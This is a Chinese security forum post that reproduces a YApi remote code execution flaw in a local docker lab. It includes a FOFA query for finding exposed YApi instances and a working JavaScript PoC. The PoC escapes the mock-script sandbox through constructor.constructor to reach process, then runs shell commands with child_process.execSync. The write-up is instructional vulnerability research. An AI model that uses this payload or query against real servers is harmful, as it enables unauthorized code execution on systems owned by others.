用户
搜索
  • TA的每日心情
    开心
    2022-1-11 13:22
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    我们的目标是星辰大海!

    Rank: 2

    0

    主题

    30

    帖子

    1279

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-7-5
    Je4fer i春秋-脚本小子 我们的目标是星辰大海! 楼主
    发表于 2022-1-6 16:44:59 01383
    本帖最后由 司徒 于 2022-1-6 16:46 编辑

    0x01 前言
    Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。

    0x02 漏洞描述
    YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

    YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册或者爆破获取用户登录权限登陆系统后,即可通过 Mock功能远程执行任意代码。

    0x03 FOFA语句app="YApi"
    icon_hash="-715193973"

    0x04 Yapi本地部署复现docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi


    mkdir -p /home/data/yapi/mongodatadocker run --restart always -v /home/data/yapi/mongodata:/data/db -d --name yapimongo mongo



    docker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run


    install-server

    docker run -d  --restart=always --name yapi  --link yapimongo:mongo --workdir /api/vendors  -p 3001:3000  registry.cn-hangzhou.aliyuncs.com/anoy/yapi  server/app.js



    启动成功之后。访问IP:3001


    新建test项目


    然后选择设置全局的mock脚本,设置命令

    POC:
    const sandbox = this
    const ObjectConstructor = this.constructor
    const FunctionConstructor = ObjectConstructor.constructor
    const myfun = FunctionConstructor('return process')
    const process = myfun()
    mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
    保存后,创建接口
    然后访问该地址
    发现命令已被执行




    发新帖
    您需要登录后才可以回帖 登录 | 立即注册